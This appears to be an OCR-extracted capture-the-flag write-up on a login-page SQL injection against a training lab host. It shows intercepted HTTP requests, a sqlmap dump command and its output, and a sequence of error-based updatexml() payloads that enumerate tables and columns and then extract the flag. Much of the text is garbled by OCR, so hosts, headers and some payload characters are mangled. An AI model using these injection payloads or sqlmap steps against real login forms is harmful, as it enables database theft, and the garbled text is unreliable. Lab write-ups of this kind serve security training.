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<html>
w-V<head> == $6
f{ <script src="js/jquery-1.12.3.min.js" type="text/javascript” charset="utf-8">
<fscript>
<link rel-"stylesheet” type-"text/css" href-"js/semantic.min.css">
oM ‘meta http-equiv-"Content-Type" content-"text/html; charset=utf-8">
</head>
¥ <body>
Q ﬁ%N’]Eeﬂéﬁgﬁ v div class-"ui grid container centered” style-"margin-top: 20vh; >
<hl class header color “>EFNIEEEERZ</h1>
- » <div class="ui row">..</div>
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g <script src-"js/semantic.min.js” type-"text/javascript” charset-"utf-8">
</script>
E <script src="js/index.js" type="text/javascript” charset="utf-8"></script>

</html>
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Filter shov .cls +‘ - &
element.style { margin -
1 border -
*, :after, :before { semantic.min.css:19
box-sizing: inherit; |- _|-
}
head { user agent stylesheet

display: none;

Inherited from html

html { semantic.min.css:27  Filter @ Showall
font-size: 14px;
+ 1 » box-sizing border-..
» display none
html { semantic.min.cssild ool cans-se..
<l font-family: sans-serif; 1apx
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Choose a file to sav

f Request to http://eci-2ze 90xsmimwc7z9bn
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Raw | Params | Headers | Hex

1 Prety m \n Actions w

1 POST /login.php HTTE/1.1

Host: eci-2ze80xsminmcTzGhnz34.clo
Content-Length: 19

Accept: application/json, text/jav
5 X-Requested-With: XMLEttpRequest
User-Agent: Mozilla/5.0 (Windows N
Content-Type: application/x-www-fo
© Origin: http://eci-2ze90xsmimmwecTzd
Referer: http://eci-2zeG0xsmimwcTz
Accept-Encoding: gzip, deflats
Accept-Language: zh-CH, zh;¢q=0.9
Cookie: _ jsluid h=9a54dldcag37557
Connection: close
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POST /login.php HTTP/1.1
Host: eci-2ze9@xsmimwc7z9bnz34.cloudecil.ichungiu.com
Content-Length: 19
Accept: application/json, text/javascript, */*; g=0.01
X-Requested-With: XMLHttpR t
User-Agent: Mozilla/ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/85.8.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://eci-2ze90xsmimwc7z9bnz34.cloudecil.ichungiu.com
Referer: http://eci-2ze9@xsmimwc7z9bnz34.cloudecil.ichungiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;qg=0.9
Cookie:  jsluid h=9a54d1dca6375576653T44834b0ebf5d
Connection: close

name=aaaakpass=1234
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sqlmap -r 2.txt --dump

fetching current database
resumed: note
fetching tables for database: 'note’
ching number of tables for database 'note’
resumed: 2
resumed: flig
resumed: users
fetching columns for table "fl4g' in database 'note’
resumed: 1
resumed: flag
F hing entries for table °"fl4g’ in dat
fetching number of entries for table *

resumed: 1
resumed: nlbook{login_sgli_is_nice}
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#i&payload

name=aaaa'+or+updatexml(1,concat(@x7e, (select+group_concat(table_name)+from+information_schema.tables+where
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Hi&payload CXAMEAIRREZRIERA, FHEHABBIEE. D

name=aaaa'+or+updatexml(1, concat(0x7e, (Select+group_concat(column_name)+from+information_schema

.columnss+wh
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Response

Raw | Headers | Hex

Pratty n Actions

POST /login.php?tips=L HTTE/L1.1

Host: eci-2zeO0xsmimwcTz8hnz34.cloudecil.ichungiu.com

 Content-Length: 149

Accept: application/json, text/javascript, */*; g=0.01

X-Requested-With: MMLEEtpR=quest

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebEit/537.36 (KHTML, like Gecke)
Chrome/85.0.4183.83 safari/537.36

Content-Type: application/x=www-formurlencoded
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= Origin: http://eci-2zeO0xsmimwcTzOhnz34. cloudecil. ichungiu. com

¢ Referer: http://eci-2ze90xsminwc7z9bnz34.cloudecil. ichungiu. com/login. php
10 Accept-Encoding: gzip, deflate

11 Accept-Language: zh-Cl,zh;q=0.9

1z Cookis: _ jsluid h=9a54dldcacl7557£653£44834h0sbE5d

13 Connection: close

15 name=
aaaa'+or+updatexml (1, concat (Ox7e, (Select+group_concat (table_name] +from+information_schema. tal
here+table schema=datebase () ) ), 1) fEpass=1234
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1 HTTP/1.1 200 OK

2 Date: Tue, 30 Nov 2021 D8:23:10 GMT

3 Content-Type: text/html

4 Content-Length: 87

5 Connmection: close

€ Vary: Accept-Encoding

7 Vary: Accept-Encoding

& ¥-Via-JSL: T4E=c87,-

o ¥-Cache: bypass

11 string(33) "HPATH syntax error: '~fldg,users'"
12 {"error":l, "msg":"uBdZE'\u53£7 udeld ush58us728")
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name=aaaa'+or+updatexml(1,concat(@x7e, (Select+group_concat(column_name)+from+information_schema.columns+whe
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‘ Request Response
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1 POST /login.phpltips=l HTTE/L.1 A| 1 HTTP/1.1 200 OK A
2 Host: eci-2zeO00xsmimwe7zObnz34.cloudecil.ichungiu.com P 2 Date: Tue, 30 Nov 2021 08:27:13 GMT -
3 Content-Length: 147 3 Content-Type: text/html
¢ Accept: application/json, text/javascript, */*; ¢=0.0L 4 Content-Length: G1
S ¥-Requested-With: XMLHEtpRequest S Comnsction: close
& User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x£4) AppleWsbKit/537.36 (KHTML, like Gecko) & Vary: Accept-Encoding
Chrome/85.0.4183.83 Safari/537.3& 7 Vary: Accept-Encoding
7 Content-Type: application/x-www-form-urlencoded 8 X-Via-JSL: 09%as=7,-
2 Origin: http://eci-2z=80xsmimwcTz8hnz34.cloudecil. ichungiu. com X-Cache: hypass
9 Referer: http://eci-2ze90xsmimwc?zO0hnz24.cloudscil. ichungiu. com/login. php
|10 Accept-Encoding: gzip, deflate string(27] "KPATH syntax error: '~flag'"
11 hccept-Language: zh-CN,zh;q=0.9 "error”:l, "msg":"\u8d26\us3£7 \ ude0d\ ushS8 \us728"}
Cookie: _ jsluid h=9a54dldca6375576653£44834b0=bE5d
Connection: close
name=
aaaa'+or+updatexml (1, concat (0x7e, (Select+group_concat (column_name) +from+information_schema.c:
| tuhersttable name='£14g')), 1) #apass=1234
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name=aaaa'+or+updatexml(1,concat(0x7e, (Select+flag+from+flag)),1)#&pass=1234
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Raw | Params | Headers | Hex Raw | Headers | Hex
Pratty m n Actions Raw Render n Actions w
1 POST /login.php?tips=l HTTE/L.l 4| 1 HTTP/L1.l 200 OK A
Host: eci-2ze00xsminwe7z0bnz34.cloudecil. ichungin. com 2 Date: Tus, 30 Nov 2021 08:39:23 GMT a
3 Content-Length: 80 3 Conmtent-Type: text/html
¢ Accept: application/json, text/javascript, */*; ¢=0.0L 4 Content-Length: 113
5 X-Requestsd-With: XMLHECpRequest 5 Comnsction: close
& User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWsbKit/537.3E (KHTML, like Gecko) & Vary: Accept-Encoding
Chrome/85.0.4183.83 Safari/537.3& 7 Vary: Accept-Encoding
7 Content-Type: application/x-www-form-urlencodsd 8 X-Via-JSL: G4bf@fe, -
2 Origin: http://eci-2z=80xsmimwcTz8hnz34.cloudecil. ichungiu. com X-Cache: hypass
o Peferer: http://eci-2ze00xsminmac]zObnz34.cloudecil. ichuncgiu. com/login. php
10 Accept-Encoding: gzip, deflate string(49) "WPATH syntax error: '-nlbook{login sqli is nice}'"
11 Accept-Language: zh-CN,zh;q=0.9 "error”:l, "msg":"\uBd26 \uS3I£7 \ ud=0d\ ush58 \us728 "}
Cookie: _ jsluid_h=9a54dldcab375576653£44834b0ebE5d
13 Comnmection: close
14
15 name=aaaa'+or+updatexml(l,concat (Ox7e, (Select+flag+from+fldg) ), 1) #Epass=1234
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